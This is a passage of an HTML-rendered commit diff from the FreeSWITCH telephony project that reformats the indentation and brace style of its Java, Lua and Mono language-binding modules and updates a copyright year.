-        (*javaVM)-&gt;DetachCurrentThread(javaVM);
-    }
-    else
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error attaching thread to Java VM!\n&quot;);
</del><ins>+        res = (*javaVM)-&gt;AttachCurrentThread(javaVM, (void *) &amp;env, NULL);
+        if (res == JNI_OK) {
+                launch_java(session, data, env);
+                (*javaVM)-&gt;DetachCurrentThread(javaVM);
+        } else
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error attaching thread to Java VM!\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t load_config(JavaVMOption **javaOptions, int *optionCount)
</del><ins>+static switch_status_t load_config(JavaVMOption ** javaOptions, int *optionCount)
</ins><span class="cx"> {
</span><del>-    switch_xml_t cfg, xml;
-    switch_status_t status;
</del><ins>+        switch_xml_t cfg, xml;
+        switch_status_t status;
</ins><span class="cx"> 
</span><del>-    xml = switch_xml_open_cfg(&quot;java.conf&quot;, &amp;cfg, NULL);
-    if (xml)
-    {
-        switch_xml_t javavm;
-        switch_xml_t options;
</del><ins>+        xml = switch_xml_open_cfg(&quot;java.conf&quot;, &amp;cfg, NULL);
+        if (xml) {
+                switch_xml_t javavm;
+                switch_xml_t options;
</ins><span class="cx"> 
</span><del>-        javavm = switch_xml_child(cfg, &quot;javavm&quot;);
-        if (javavm != NULL)
-        {
-            const char *path = switch_xml_attr_soft(javavm, &quot;path&quot;);
-            if (path != NULL)
-            {
-                status = switch_dso_load(&amp;javaVMHandle, path, memoryPool);
-                if (status != SWITCH_STATUS_SUCCESS)
-                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error loading %s\n&quot;, path);
-            }
-            else
-            {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;No Java VM path specified in java.conf.xml\n&quot;);
-                status = SWITCH_STATUS_FALSE;
-            }
-        }
-        else
-        {
-            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;No Java VM specified in java.conf.xml\n&quot;);
-            status = SWITCH_STATUS_FALSE;
-            goto close;
-        }
</del><ins>+                javavm = switch_xml_child(cfg, &quot;javavm&quot;);
+                if (javavm != NULL) {
+                        const char *path = switch_xml_attr_soft(javavm, &quot;path&quot;);
+                        if (path != NULL) {
+                                status = switch_dso_load(&amp;javaVMHandle, path, memoryPool);
+                                if (status != SWITCH_STATUS_SUCCESS)
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error loading %s\n&quot;, path);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;No Java VM path specified in java.conf.xml\n&quot;);
+                                status = SWITCH_STATUS_FALSE;
+                        }
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;No Java VM specified in java.conf.xml\n&quot;);
+                        status = SWITCH_STATUS_FALSE;
+                        goto close;
+                }
</ins><span class="cx"> 
</span><del>-        options = switch_xml_child(cfg, &quot;options&quot;);
-        if (options != NULL)
-        {
-            switch_xml_t option;
-            int i = 0;
-            *optionCount = 0;
-            for (option = switch_xml_child(options, &quot;option&quot;); option; option = option-&gt;next)
-            {
-                const char *value = switch_xml_attr_soft(option, &quot;value&quot;);
-                if (value != NULL)
-                    ++*optionCount;
-            }
-            *optionCount += 1;
-            *javaOptions = switch_core_alloc(memoryPool, (switch_size_t)(*optionCount * sizeof(JavaVMOption)));
-            if (*javaOptions == NULL)
-            {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Out of memory!\n&quot;);
-                status = SWITCH_STATUS_FALSE;
-                goto close;
-            }
-            for (option = switch_xml_child(options, &quot;option&quot;); option; option = option-&gt;next)
-            {
-                const char *value = switch_xml_attr_soft(option, &quot;value&quot;);
-                if (value == NULL)
-                    continue;
-                (*javaOptions)[i].optionString = switch_core_strdup(memoryPool, value);
-                if ((*javaOptions)[i].optionString == NULL)
-                {
-                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Out of memory!\n&quot;);
-                    status = SWITCH_STATUS_FALSE;
-                    goto close;
-                }
-                ++i;
-            }
-            (*javaOptions)[i].optionString = &quot;-Djava.library.path=&quot; SWITCH_PREFIX_DIR SWITCH_PATH_SEPARATOR &quot;mod&quot;;
-        }
</del><ins>+                options = switch_xml_child(cfg, &quot;options&quot;);
+                if (options != NULL) {
+                        switch_xml_t option;
+                        int i = 0;
+                        *optionCount = 0;
+                        for (option = switch_xml_child(options, &quot;option&quot;); option; option = option-&gt;next) {
+                                const char *value = switch_xml_attr_soft(option, &quot;value&quot;);
+                                if (value != NULL)
+                                        ++ * optionCount;
+                        }
+                        *optionCount += 1;
+                        *javaOptions = switch_core_alloc(memoryPool, (switch_size_t) (*optionCount * sizeof(JavaVMOption)));
+                        if (*javaOptions == NULL) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Out of memory!\n&quot;);
+                                status = SWITCH_STATUS_FALSE;
+                                goto close;
+                        }
+                        for (option = switch_xml_child(options, &quot;option&quot;); option; option = option-&gt;next) {
+                                const char *value = switch_xml_attr_soft(option, &quot;value&quot;);
+                                if (value == NULL)
+                                        continue;
+                                (*javaOptions)[i].optionString = switch_core_strdup(memoryPool, value);
+                                if ((*javaOptions)[i].optionString == NULL) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Out of memory!\n&quot;);
+                                        status = SWITCH_STATUS_FALSE;
+                                        goto close;
+                                }
+                                ++i;
+                        }
+                        (*javaOptions)[i].optionString = &quot;-Djava.library.path=&quot; SWITCH_PREFIX_DIR SWITCH_PATH_SEPARATOR &quot;mod&quot;;
+                }
</ins><span class="cx"> 
</span><del>-    close:
-        switch_xml_free(xml);
-    }
-    else
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error opening java.conf.xml\n&quot;);
-        status = SWITCH_STATUS_FALSE;
-    }
-    return status;
</del><ins>+          close:
+                switch_xml_free(xml);
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error opening java.conf.xml\n&quot;);
+                status = SWITCH_STATUS_FALSE;
+        }
+        return status;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t create_java_vm(JavaVMOption *options, int optionCount)
</del><ins>+static switch_status_t create_java_vm(JavaVMOption * options, int optionCount)
</ins><span class="cx"> {
</span><del>-    jint (JNICALL *pJNI_CreateJavaVM)(JavaVM**,void**,void*);
-    switch_status_t status;
</del><ins>+        jint(JNICALL * pJNI_CreateJavaVM) (JavaVM **, void **, void *);
+        switch_status_t status;
</ins><span class="cx"> 
</span><del>-    status = switch_dso_sym((void*) &amp;pJNI_CreateJavaVM, javaVMHandle, &quot;JNI_CreateJavaVM&quot;);
-    if (status == SWITCH_STATUS_SUCCESS)
-    {
-        JNIEnv *env;
-        JavaVMInitArgs initArgs;
-        jint res;
</del><ins>+        status = switch_dso_sym((void *) &amp;pJNI_CreateJavaVM, javaVMHandle, &quot;JNI_CreateJavaVM&quot;);
+        if (status == SWITCH_STATUS_SUCCESS) {
+                JNIEnv *env;
+                JavaVMInitArgs initArgs;
+                jint res;
</ins><span class="cx"> 
</span><del>-        memset(&amp;initArgs, 0, sizeof(initArgs));
-        initArgs.version = JNI_VERSION_1_4;
-        initArgs.nOptions = optionCount;
-        initArgs.options = options;
-        initArgs.ignoreUnrecognized = JNI_TRUE;
</del><ins>+                memset(&amp;initArgs, 0, sizeof(initArgs));
+                initArgs.version = JNI_VERSION_1_4;
+                initArgs.nOptions = optionCount;
+                initArgs.options = options;
+                initArgs.ignoreUnrecognized = JNI_TRUE;
</ins><span class="cx"> 
</span><del>-        res = pJNI_CreateJavaVM(&amp;javaVM, (void*) &amp;env, &amp;initArgs);
-        if (res == JNI_OK)
-        {
-            (*javaVM)-&gt;DetachCurrentThread(javaVM);
-            status = SWITCH_STATUS_SUCCESS;
-        }
-        else
-        {
-            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error creating Java VM!\n&quot;);
-            status = SWITCH_STATUS_FALSE;
-        }
-    }
-    else
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Specified Java VM doesn't have JNI_CreateJavaVM\n&quot;);
-        status = SWITCH_STATUS_FALSE;
-    }
-    return status;
</del><ins>+                res = pJNI_CreateJavaVM(&amp;javaVM, (void *) &amp;env, &amp;initArgs);
+                if (res == JNI_OK) {
+                        (*javaVM)-&gt;DetachCurrentThread(javaVM);
+                        status = SWITCH_STATUS_SUCCESS;
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error creating Java VM!\n&quot;);
+                        status = SWITCH_STATUS_FALSE;
+                }
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Specified Java VM doesn't have JNI_CreateJavaVM\n&quot;);
+                status = SWITCH_STATUS_FALSE;
+        }
+        return status;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_java_load)
</span><span class="cx"> {
</span><del>-    switch_status_t status;
-    JavaVMOption *options = NULL;
-    int optionCount = 0;
</del><ins>+        switch_status_t status;
+        JavaVMOption *options = NULL;
+        int optionCount = 0;
</ins><span class="cx">         switch_application_interface_t *app_interface;
</span><span class="cx"> 
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;java&quot;, NULL, NULL, java_function, NULL, SAF_SUPPORT_NOMEDIA);
</span><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Java Framework Loading...\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Java Framework Loading...\n&quot;);
</ins><span class="cx"> 
</span><del>-    if (javaVM != NULL)
-        return SWITCH_STATUS_SUCCESS;
</del><ins>+        if (javaVM != NULL)
+                return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> 
</span><del>-    status = switch_core_new_memory_pool(&amp;memoryPool);
-    if (status == SWITCH_STATUS_SUCCESS)
-    {
-        status = load_config(&amp;options, &amp;optionCount);
-        if (status == SWITCH_STATUS_SUCCESS)
-        {
-            status = create_java_vm(options, optionCount);
-            if (status == SWITCH_STATUS_SUCCESS)
-                return SWITCH_STATUS_SUCCESS;
-            switch_dso_unload(javaVMHandle);
-        }
-        switch_core_destroy_memory_pool(&amp;memoryPool);
-    }
-    else
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error creating memory pool\n&quot;);
</del><ins>+        status = switch_core_new_memory_pool(&amp;memoryPool);
+        if (status == SWITCH_STATUS_SUCCESS) {
+                status = load_config(&amp;options, &amp;optionCount);
+                if (status == SWITCH_STATUS_SUCCESS) {
+                        status = create_java_vm(options, optionCount);
+                        if (status == SWITCH_STATUS_SUCCESS)
+                                return SWITCH_STATUS_SUCCESS;
+                        switch_dso_unload(javaVMHandle);
+                }
+                switch_core_destroy_memory_pool(&amp;memoryPool);
+        } else
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error creating memory pool\n&quot;);
</ins><span class="cx"> 
</span><del>-    return status == SWITCH_STATUS_SUCCESS ? SWITCH_STATUS_NOUNLOAD : status;
</del><ins>+        return status == SWITCH_STATUS_SUCCESS ? SWITCH_STATUS_NOUNLOAD : status;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_java_shutdown)
</span><span class="cx"> {
</span><del>-    if (javaVM == NULL)
-        return SWITCH_STATUS_FALSE;
</del><ins>+        if (javaVM == NULL)
+                return SWITCH_STATUS_FALSE;
</ins><span class="cx"> 
</span><del>-    (*javaVM)-&gt;DestroyJavaVM(javaVM);
-    javaVM = NULL;
-    switch_dso_unload(javaVMHandle);
-    switch_core_destroy_memory_pool(&amp;memoryPool);
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        (*javaVM)-&gt;DestroyJavaVM(javaVM);
+        javaVM = NULL;
+        switch_dso_unload(javaVMHandle);
+        switch_core_destroy_memory_pool(&amp;memoryPool);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><del>-
-
</del></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_luafreeswitch_luah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -7,41 +7,39 @@
</span><span class="cx"> #include &lt;lualib.h&gt;
</span><span class="cx"> #include &quot;mod_lua_extra.h&quot;
</span><span class="cx"> }
</span><del>-
</del><span class="cx"> #include &lt;switch_cpp.h&gt;
</span><del>-
</del><span class="cx"> namespace LUA {
</span><del>-class Session : public CoreSession {
- private:
-        virtual void do_hangup_hook();
-        lua_State *getLUA();
-        lua_State *L;
-        int hh;
-        int mark;
- public:
-    Session();
-    Session(char *uuid, CoreSession *a_leg = NULL);
-    Session(switch_core_session_t *session);
-    ~Session();        
-        SWITCH_MOD_DECLARE(virtual void) destroy(void);
-        
-        virtual bool begin_allow_threads();
-        virtual bool end_allow_threads();
-        virtual void check_hangup_hook();
</del><ins>+        class Session:public CoreSession {
+          private:
+                virtual void do_hangup_hook();
+                lua_State *getLUA();
+                lua_State *L;
+                int hh;
+                int mark;
+          public:
+                    Session();
+                    Session(char *uuid, CoreSession * a_leg = NULL);
+                     Session(switch_core_session_t *session);
+                                     ~Session();
+                                      SWITCH_MOD_DECLARE(virtual void) destroy(void);
</ins><span class="cx"> 
</span><del>-        virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
-        void unsetInputCallback(void);
-        void setInputCallback(char *cbfunc, char *funcargs = NULL);
-        void setHangupHook(char *func, char *arg = NULL);
-        bool ready();
-        int originate(CoreSession *a_leg_session, char *dest, int timeout);
-        
-        char *cb_function;
-        char *cb_arg;
-        char *hangup_func_str;
-        char *hangup_func_arg;
-        void setLUA(lua_State *state);
</del><ins>+                virtual bool begin_allow_threads();
+                virtual bool end_allow_threads();
+                virtual void check_hangup_hook();
</ins><span class="cx"> 
</span><del>-};
</del><ins>+                virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+                void unsetInputCallback(void);
+                void setInputCallback(char *cbfunc, char *funcargs = NULL);
+                void setHangupHook(char *func, char *arg = NULL);
+                bool ready();
+                int originate(CoreSession * a_leg_session, char *dest, int timeout);
+
+                char *cb_function;
+                char *cb_arg;
+                char *hangup_func_str;
+                char *hangup_func_arg;
+                void setLUA(lua_State * state);
+
+        };
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_luamod_luacpp"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_luamod_lua_extrah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,9 +1,7 @@
</span><span class="cx"> #ifndef MOD_LUA_EXTRA
</span><span class="cx"> #define MOD_LUA_EXTRA
</span><del>-SWITCH_BEGIN_EXTERN_C
-
-void mod_lua_conjure_event(lua_State *L, switch_event_t *event, const char *name, int destroy_me);
-void mod_lua_conjure_stream(lua_State *L, switch_stream_handle_t *stream, const char *name, int destroy_me);
</del><ins>+SWITCH_BEGIN_EXTERN_C void mod_lua_conjure_event(lua_State * L, switch_event_t *event, const char *name, int destroy_me);
+void mod_lua_conjure_stream(lua_State * L, switch_stream_handle_t *stream, const char *name, int destroy_me);
</ins><span class="cx"> void mod_lua_conjure_session(lua_State * L, switch_core_session_t *session, const char *name, int destroy_me);
</span><span class="cx"> 
</span><span class="cx"> SWITCH_END_EXTERN_C
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_luamy_swigable_cpph"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,169 +1,160 @@
</span><span class="cx"> typedef struct input_callback_state {
</span><del>-    void *function;
</del><ins>+        void *function;
</ins><span class="cx"> 
</span><del>-    void *threadState;
</del><ins>+        void *threadState;
</ins><span class="cx"> 
</span><del>-    void *extra;
-    char *funcargs;
</del><ins>+        void *extra;
+        char *funcargs;
</ins><span class="cx"> } input_callback_state_t;
</span><span class="cx"> 
</span><span class="cx"> typedef enum {
</span><del>- S_HUP = (1 &lt;&lt; 0),
- S_FREE = (1 &lt;&lt; 1),
- S_RDLOCK = (1 &lt;&lt; 2)
</del><ins>+        S_HUP = (1 &lt;&lt; 0),
+        S_FREE = (1 &lt;&lt; 1),
+        S_RDLOCK = (1 &lt;&lt; 2)
</ins><span class="cx"> } session_flag_t;
</span><span class="cx"> 
</span><span class="cx"> class Stream {
</span><del>- protected:
- switch_stream_handle_t mystream;
- switch_stream_handle_t *stream_p;
- int mine;
- public:
- Stream(void);
- Stream(switch_stream_handle_t *);
- virtual ~Stream();
- void write(const char *data);
- const char *get_data(void);
</del><ins>+  protected:
+        switch_stream_handle_t mystream;
+        switch_stream_handle_t *stream_p;
+        int mine;
+  public:
+            Stream(void);
+             Stream(switch_stream_handle_t *);
+                               virtual ~ Stream();
+        void write(const char *data);
+        const char *get_data(void);
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> class Event {
</span><del>- protected:
- public:
- switch_event_t *event;
- char *serialized_string;
- int mine;
</del><ins>+  protected:
+  public:
+        switch_event_t *event;
+        char *serialized_string;
+        int mine;
</ins><span class="cx"> 
</span><del>- Event(const char *type, const char *subclass_name = NULL);
- Event(switch_event_t *wrap_me, int free_me=0);
- virtual ~Event();
- const char *serialize(const char *format=NULL);
- bool setPriority(switch_priority_t priority = SWITCH_PRIORITY_NORMAL);
- char *getHeader(char *header_name);
- char *getBody(void);
- char *getType(void);
- bool addBody(const char *value);
- bool addHeader(const char *header_name, const char *value);
- bool delHeader(const char *header_name);
- bool fire(void);
</del><ins>+            Event(const char *type, const char *subclass_name = NULL);
+             Event(switch_event_t *wrap_me, int free_me = 0);
+            virtual ~ Event();
+        const char *serialize(const char *format = NULL);
+        bool setPriority(switch_priority_t priority = SWITCH_PRIORITY_NORMAL);
+        char *getHeader(char *header_name);
+        char *getBody(void);
+        char *getType(void);
+        bool addBody(const char *value);
+        bool addHeader(const char *header_name, const char *value);
+        bool delHeader(const char *header_name);
+        bool fire(void);
</ins><span class="cx"> 
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> class CoreSession {
</span><del>- protected:
- switch_input_args_t args;
</del><ins>+  protected:
+        switch_input_args_t args;
</ins><span class="cx"> 
</span><del>- switch_input_args_t *ap;
- switch_caller_profile_t caller_profile;
</del><ins>+        switch_input_args_t *ap;
+        switch_caller_profile_t caller_profile;
</ins><span class="cx"> 
</span><del>- char *uuid;
- char *tts_name;
- char *voice_name;
- void store_file_handle(switch_file_handle_t *fh);
- void *on_hangup;
- switch_file_handle_t local_fh;
- switch_file_handle_t *fhp;
- switch_status_t process_callback_result(char *ret);
- public:
- CoreSession();
- CoreSession(char *uuid);
- CoreSession(switch_core_session_t *new_session);
- virtual ~CoreSession();
- switch_core_session_t *session;
- switch_channel_t *channel;
- unsigned int flags;
- int allocated;
- input_callback_state cb_state;
</del><ins>+        char *uuid;
+        char *tts_name;
+        char *voice_name;
+        void store_file_handle(switch_file_handle_t *fh);
+        void *on_hangup;
+        switch_file_handle_t local_fh;
+        switch_file_handle_t *fhp;
+        switch_status_t process_callback_result(char *ret);
+  public:
+             CoreSession();
+             CoreSession(char *uuid);
+             CoreSession(switch_core_session_t *new_session);
+                              virtual ~ CoreSession();
+        switch_core_session_t *session;
+        switch_channel_t *channel;
+        unsigned int flags;
+        int allocated;
+        input_callback_state cb_state;
</ins><span class="cx"> 
</span><del>- switch_channel_state_t hook_state;
</del><ins>+        switch_channel_state_t hook_state;
</ins><span class="cx"> 
</span><del>- int answer();
- int preAnswer();
- virtual void hangup(char *cause = &quot;normal_clearing&quot;);
- void setVariable(char *var, char *val);
- void setPrivate(char *var, void *val);
- void *getPrivate(char *var);
- const char *getVariable(char *var);
- int recordFile(char *file_name, int max_len=0, int silence_threshold=0, int silence_secs=0);
</del><ins>+        int answer();
+        int preAnswer();
+        virtual void hangup(char *cause = &quot;normal_clearing&quot;);
+        void setVariable(char *var, char *val);
+        void setPrivate(char *var, void *val);
+        void *getPrivate(char *var);
+        const char *getVariable(char *var);
+        int recordFile(char *file_name, int max_len = 0, int silence_threshold = 0, int silence_secs = 0);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- void setCallerData(char *var, char *val);
- int originate(CoreSession *a_leg_session,
-      char *dest,
-      int timeout=60);
- void setDTMFCallback(void *cbfunc, char *funcargs);
</del><ins>+        void setCallerData(char *var, char *val);
+        int originate(CoreSession * a_leg_session, char *dest, int timeout = 60);
+        void setDTMFCallback(void *cbfunc, char *funcargs);
</ins><span class="cx"> 
</span><del>- int speak(char *text);
- void set_tts_parms(char *tts_name, char *voice_name);
</del><ins>+        int speak(char *text);
+        void set_tts_parms(char *tts_name, char *voice_name);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- int collectDigits(int timeout);
- int getDigits(char *dtmf_buf,
-      switch_size_t buflen,
-      switch_size_t maxdigits,
-      char *terminators,
-      char *terminator,
-      int timeout);
</del><ins>+        int collectDigits(int timeout);
+        int getDigits(char *dtmf_buf, switch_size_t buflen, switch_size_t maxdigits, char *terminators, char *terminator, int timeout);
</ins><span class="cx"> 
</span><del>- int transfer(char *extensions, char *dialplan, char *context);
- int playAndGetDigits(int min_digits,
-       int max_digits,
-       int max_tries,
-       int timeout,
-       char *terminators,
-       char *audio_files,
-       char *bad_input_audio_files,
-       char *dtmf_buf,
-       char *digits_regex);
- int streamFile(char *file, int starting_sample_count=0);
</del><ins>+        int transfer(char *extensions, char *dialplan, char *context);
+        int playAndGetDigits(int min_digits,
+                                                 int max_digits,
+                                                 int max_tries,
+                                                 int timeout, char *terminators, char *audio_files, char *bad_input_audio_files, char *dtmf_buf, char *digits_regex);
+        int streamFile(char *file, int starting_sample_count = 0);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- int flushEvents();
</del><ins>+        int flushEvents();
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- int flushDigits();
</del><ins>+        int flushDigits();
</ins><span class="cx"> 
</span><del>- int setAutoHangup(bool val);
</del><ins>+        int setAutoHangup(bool val);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- void setHangupHook(void *hangup_func);
</del><ins>+        void setHangupHook(void *hangup_func);
</ins><span class="cx"> 
</span><del>- bool ready();
</del><ins>+        bool ready();
</ins><span class="cx"> 
</span><del>- void execute(char *app, char *data);
</del><ins>+        void execute(char *app, char *data);
</ins><span class="cx"> 
</span><del>- void sendEvent(Event *sendME);
</del><ins>+        void sendEvent(Event * sendME);
</ins><span class="cx"> 
</span><del>- virtual bool begin_allow_threads() = 0;
- virtual bool end_allow_threads() = 0;
</del><ins>+        virtual bool begin_allow_threads() = 0;
+        virtual bool end_allow_threads() = 0;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- char* get_uuid() const { return uuid; };
</del><ins>+        char *get_uuid() const {
+                return uuid;
+        };
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- const switch_input_args_t&amp; get_cb_args() const { return args; };
</del><ins>+        const switch_input_args_t &amp;get_cb_args() const {
+                return args;
+        };
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- virtual void check_hangup_hook() = 0;
</del><ins>+        virtual void check_hangup_hook() = 0;
</ins><span class="cx"> 
</span><del>- virtual switch_status_t run_dtmf_callback(void *input,
-             switch_input_type_t itype) = 0;
</del><ins>+        virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype) = 0;
</ins><span class="cx"> 
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -180,7 +171,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-void bridge(CoreSession &amp;session_a, CoreSession &amp;session_b);
</del><ins>+void bridge(CoreSession &amp; session_a, CoreSession &amp; session_b);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -189,8 +180,4 @@
</span><span class="cx"> 
</span><span class="cx"> switch_status_t hanguphook(switch_core_session_t *session);
</span><span class="cx"> 
</span><del>-switch_status_t dtmf_callback(switch_core_session_t *session,
-         void *input,
-         switch_input_type_t itype,
-         void *buf,
-         unsigned int buflen);
</del><ins>+switch_status_t dtmf_callback(switch_core_session_t *session, void *input, switch_input_type_t itype, void *buf, unsigned int buflen);
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_managedfreeswitch_managedh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -34,13 +34,11 @@
</span><span class="cx"> #define FREESWITCH_MANAGED_H
</span><span class="cx"> 
</span><span class="cx"> SWITCH_BEGIN_EXTERN_C
</span><del>-
</del><span class="cx"> #include &lt;switch.h&gt;
</span><span class="cx"> #include &lt;switch_cpp.h&gt;
</span><ins>+typedef void (*hangupFunction) (void);
+typedef char *(*inputFunction) (void *, switch_input_type_t);
</ins><span class="cx"> 
</span><del>-typedef void (*hangupFunction)(void);
-typedef char* (*inputFunction)(void*, switch_input_type_t);
-
</del><span class="cx"> #ifndef _MANAGED
</span><span class="cx"> #include &lt;glib.h&gt;
</span><span class="cx"> #include &lt;mono/jit/jit.h&gt;
</span><span class="lines">@@ -79,58 +77,109 @@
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> SWITCH_END_EXTERN_C
</span><del>-
</del><span class="cx"> #ifdef _MANAGED
</span><span class="cx"> // this section remove linker error LNK4248 for these opaque structures
</span><del>-        struct switch_core_session {char foo[];};
-        struct apr_pool_t {char foo[];};
-        struct switch_channel {char foo[];};
-        struct apr_thread_t {char foo[];};
-        struct switch_hash {char foo[];};
-        struct apr_thread_mutex_t {char foo[];};
-        struct switch_network_list {char foo[];};
-        struct switch_xml_binding {char foo[];};
-        struct apr_sockaddr_t {char foo[];};
-        struct switch_core_port_allocator {char foo[];};
-        struct switch_media_bug {char foo[];};
-        struct switch_rtp {char foo[];};
-        struct sqlite3_stmt {char foo[];};
-        struct switch_buffer {char foo[];};
-        struct switch_ivr_menu {char foo[];};
-        struct switch_event_node {char foo[];};
-        struct switch_ivr_digit_stream_parser {char foo[];};
-        struct sqlite3 {char foo[];};
-        struct switch_ivr_digit_stream {char foo[];};
-        struct real_pcre {char foo[];};
-        struct HashElem {char foo[];};
